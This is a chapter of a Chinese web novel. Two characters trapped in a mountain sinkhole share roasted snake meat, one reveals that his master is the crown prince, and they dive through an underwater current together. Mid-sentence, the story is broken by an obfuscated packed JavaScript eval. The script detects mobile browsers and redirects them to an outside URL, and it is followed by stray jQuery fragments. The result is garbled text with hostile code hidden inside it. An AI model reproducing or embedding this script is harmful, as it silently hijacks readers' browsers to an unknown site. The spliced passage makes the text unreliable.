22.二十二章

作品:《尘色

    午夜的九幽天坑寒气逼人,含糊不清的风声从洞外呼啸而过,如同百鬼夜哭。杜玄渊是武人筋骨,扛得住冷,也不信有鬼。可后半夜半睡半醒之间,他在呼啸的风声中听到夹杂其中的野兽的声音。有些像狼嚎,细听又不是狼。杜玄渊不敢再睡,踩灭了身旁的火堆,拔出剑在洞口来回探看。直到天色破晓,第一缕日光从峭壁间射进来,他确认那兽类不会再出没,才躺在洞口背风处睡了过去。


    不知道什么时候,沉睡的杜玄渊闻到一阵极诱人的熟肉香味。他平日不是好吃之人,可腹中已有数日没有沾过荤腥了,这股香味由鼻端进入脑子,叫人难以抵抗。他睁开眼睛,看到陈荦正坐在他身旁石头上,看他醒了,便将手中的树杈递过来。


    “诺,好吃的!”


    那结实的树杈上穿着肉块,色泽金黄,流油溢香。杜玄渊坐起身来,接过陈荦手中的树杈,咬下一口缓慢咀嚼。烤肉没有盐,可口中肉质意外地鲜甜绵软,混合着柴火炙烤出来的热油,竟十分好吃。


    杜玄渊注意到陈荦嘴角还残留着炙肉的油渍,知道她吃过了。他一时食指大动,很快将那树杈上的炙肉吃干抹净。


    陈荦看他吃完,便笑眯眯地问道:“喝水吗?”好像她昨夜休息得不错。


    杜玄渊站起身来,伸展了一下睡得不自在的腰背,随口问道:“你给我吃的是什么?”


    陈荦:“毒蛇。”


    杜玄渊猛地回过头来:“什么?”


    看陈荦的样子十分认真,杜玄渊气愤:“陈荦!”


    “骗你的。自然不是毒蛇,就是那天你削死的那条蛇。”


    “你!可那肉的颜色怎么全不一样!”杜玄渊想到蛇扭曲黏腻的样子,天灵盖忍不住发麻,


    可口腔和肚腹却十分诚实,完全不能把这股鲜甜的味道和那恶心的蛇联系起来。一时全身的感受十分复杂,想吐吐不出来,只能用恼怒的眼神盯着陈荦。


    “陈荦,你竟骗我!”


    陈荦白他一眼:“杜玄渊,你已有两日夜没吃东西了!你打算就这么起来去找出去的路?你身上还有力气么?”


    “你!”杜玄渊无言以对。


    他自天亮时睡过去,此时抬头看头顶天光,时辰已至正午。这一觉睡得这么长,确有体力不足的原因。


    杜玄渊走到洞前山涧处,捧起清水反复漱口。陈荦在不远处眉眼飞扬地看着,杜玄渊忍不住瞪她:“笑什么笑!晨起盥漱你做了吗?嘴角冒油,像什么样子!”


    杜玄渊那全然不自在却生不起气来的样子根本就是个纸老虎,陈荦一点也不怕,反而觉得有趣,忍不住想多逗一逗他。


    杜玄渊:“你赶紧过来啊。”


    “是是是。”


    毕竟骗了人家,陈荦从善如流地走过去。捧起涧水,漱口,擦脸,最后将手沾湿,以指作梳,梳理背后凌乱的长发。


    杜玄渊将目光从她背上移开。“你还没告诉我,为什么肉的颜色变了,不像你前日烤的乌梢蛇,看起来倒像京郊猎场中的鹿肉……”


    “我也不知道,我怕它坏了,昨夜用草绳将它穿起来,挂在吹风处吹了一夜……鹿肉?我长这么大还没吃过鹿肉呢,那是什么味道?”


    杜玄渊不欲和她多纠缠味道的问题。荤肉下肚,再喝了好些凉爽的清水,体力恢复了大半。


    “陈荦,我们走吧。”


    陈荦跟上去,走了一段忍不住问道:“我骗你吃了那蛇肉,你就不生气了?”


    杜玄渊回头看了她一眼:“你不许说了。”


    陈荦嬉皮笑脸:“是是是,不说了。”


    ————


    即使是白日,天坑底下也只有少数时候会射入阳光,无法看到太阳,分辨方向十分困难。两人寻了两天两夜,竟没有遇到随杜玄渊一起进入天坑的十名属下,一点踪迹也无。在这么个鬼地方,杜玄渊的意气也渐渐跌落到底。


    事到如今,只有试试水中有没有路。


    两人沿着这两日活动的踪迹,找到那天陈荦出现的地方。那是一段布满浮萍青苔的溪流,沿着水流的方向上溯,尽头是古藤缠绕的岩壁下一处幽深的潭水。


    既找到了源头,杜玄渊折下一段树枝,牵着陈荦,飞快地沿着溪水流淌的方向往下游找去。那溪流几番没入丛林,几番流进地洞,又浮出地表。当两人穿林过岭,踏草翻石找到溪水最终汇入的地方时,却几乎绝望地发现,那溪流流了好大一圈,竟又流回了那处深潭。水往低处流,外界的常理在这天坑底下,全然消失了。


    陈荦和杜玄渊都无从得知那天陈荦是不是从这深潭中被水流冲出的。可此时,眼前好像就只有这一个可能了。


    杜玄渊静观了片刻,开始脱身上的外袍。


    陈荦害怕:“你,你要入水?”


    此时头顶已没有多少天光了,幽暗从四周渐渐弥漫起来。


    眼前的深潭有数丈之径,水面腐叶漂浮,岩上古藤如长蛇缠绕垂挂,映照出森深的幽绿。再往深处看,便是沉沉的黑暗,令人骨髓发冷。


    杜玄渊脱了外袍,将佩剑递到陈荦手里。“陈荦,若我没有上岸,你能出去之时,请将这把剑交到太子殿下手中,行吗?”


    陈荦一惊:“什么?”


    杜玄渊自小水性出色,可潜入眼前的深潭会不会有变故,他全然没有把握。但一想到今日已是在这天坑底下逗留的第三日,他便不能再等了。


    看陈荦一脸震动,到了此时,杜玄渊不得不向她坦明真相。他看着她,神情肃然。“山神庙中,还有蕉叶阁后院,我叫他兄长的那位,就是大宴当今的太子殿下李棠。我叫他兄长乃是大不敬,只不过微服出访,不得已而为之。”


    “陈荦,太子殿下李棠,乃是我的主君。”


    杜玄渊拿着剑:“陈荦,你方才听清我的请求了吗?我想请求你,若我入水后没有上岸,你能出去之时,将这剑交到他手中。”


    陈荦站在原地,忘了伸出手。她此前想过他们身份贵重,却没想到,李棠竟是这天下最尊贵的人。杜玄渊说得郑重,陈荦从这爆炸一般的消息中回过神来,在他眼睛里看到潭水一样深沉的黑意。


    她震惊了片刻,终于伸手接过玄铁剑,“好,我,我答应你,请你务必小心。”


    杜玄渊伸展手脚,回头跟陈荦说了句“等我消息”,便纵身跃入了深潭之中。


    陈荦看杜玄渊身影在水中快速一转,便融入幽深的潭水不见了踪迹。


    许久,陈荦忍不住喊了一声:“杜玄渊?”


    湖面和远处的崖壁将声音撞回,无人回应。陈荦胸口猛地一凉,心好似也随着沉入了潭底。


    杜玄渊入水的瞬间,感觉到这潭水彻骨的凉。就像化冰而成,从未照过阳光一样。他睁开眼睛,意外发现这潭水并没有岸上看起来那样浑浊。那些枯藤腐叶都浮在水面,不知为何全没有下沉,水中十分清澈,视线因此很是清晰。


    数丈宽的深潭,杜玄渊游了两圈,没有看到潭壁。凭借极好的水性,他隐隐感觉到在靠近山崖的巨石处有水流在动。


    他上浮换了口气,又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048311|160964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    重新下潜。杜玄渊不敢托大,感觉到那股流动的潭水后没有立即游进去。先在不远处试探了不少时间,那流力时大时小,他摸准了时机,把心一横,随着暗流的方向往潭底扎去。


    在一片极短的黑暗中,杜玄渊被水流冲撞着,在胸腔中气息快要用尽的时候,忽然感觉到头顶的压力一轻。他猛地蹬水上浮,破水而出时,看到一片地下溶洞。那洞壁上栖息着成片流萤一般的细虫,微弱的光让人勉强能看到周边尺寸之地。


    待仔细看清楚是流萤,杜玄渊喜出望外。


    ————


    陈荦把杜玄渊那把玄铁剑抱在怀中,眼睛一刻也不敢错开地盯着水面。过了不知多久,杜玄渊“哗啦”一声浮出水面,抓住一根古藤爬上了岸。


    陈荦着急地迎过去:“你没事吗?怎么样了?”


    杜选渊抹去脸上的水,看着一身红衣的陈荦,陷入了为难。他可以独自潜游到那溶洞之中,却不敢保证能带另一个人过去,何况陈荦是个体质柔弱的女子。


    陈荦看出了杜玄渊的意思,雀跃地问他:“谭中有路是不是?”她把玄铁剑递回杜玄渊怀里,“你放心,我会凫水,也会闭气。”


    “不,”杜玄渊第一反应是拒绝,“陈荦,这潭底暗流汹涌,女子之力或不能抗。我担心你……你待我想想。”


    “陈荦,”杜玄渊情急之下,忘了男女之别,伸手紧紧扶住陈荦肩膀,“你若能在这潭水附近多呆一日,小心护全自己,两日之内,我必带人来救你。”


    杜玄渊说完这句话,突然胸口一滞,就算陈荦不遇到危险,他真的能做到吗?他年少轻狂,兼得杜玠教导,李棠赏识,从前总觉得世上无不可达成之事。可这数日以来,九幽山之中,他屡屡失误挫败,已误了好多事……


    两人商量许久。


    陈荦轻声说:“杜玄渊,我担心我姨娘,若我晚出去一日,我怕她会想不开……与其徒劳等待,我宁愿试试。韶音已经没了清嘉,若再失去我的消息,她,活不成的。”


    毕竟月圆之夜她已经被迫潜过一次水。那次没要了她的命,陈荦宁愿相信,这暗流中生机多过危险。


    “你……”


    杜玄渊自己否决了让陈荦原地等待的提议,这天坑之中危机四伏,此时他已别无选择。


    “好。”


    杜玄渊将佩剑绑在背上,反复跟陈荦讲明潭底暗流的节律。看陈荦低头默默地记着,杜玄渊心里突然涌上一阵愧疚,他本是带人来解救她的,如今却让她随他一起涉入险境。他实在不该如此……


    一切准备就绪,杜玄渊先跳入潭中,接住随后跳下的陈荦。陈荦的水性比他预想中要娴熟,适应潭水寒冷之后,迅速跟杜玄渊一起游到岩壁暗流之处。


    让杜玄渊慌乱的是,这次却又跟方才不一样。那水流的流向混乱,游在其侧,片刻之间竟不能洞悉其去处。


    深水之中,一切无声。杜玄渊看到,陈荦渐渐皱起眉,用手指了指上方。她这是气息即将用尽,想上浮换气。


    就在这时,杜玄渊感觉到一阵漩状的水流从身侧涌过,那就是流向外面的……幽暗的寒潭中,几乎没有多余的瞬息留给他思虑。杜玄渊游过去,长臂一展,将陈荦拢向自己,随即接住了她轻薄的双唇,向内渡了一口气。


    唇齿交接之际,他最后看到的是那日古城门夕阳下,陈荦像草叶一样的眼睫。那眼睫在水中忽闪开来,似是惊讶,却没有推开他……


    身侧暗流突然猛地加快,往某个方向冲去,瞬间将两人扯入了黑暗。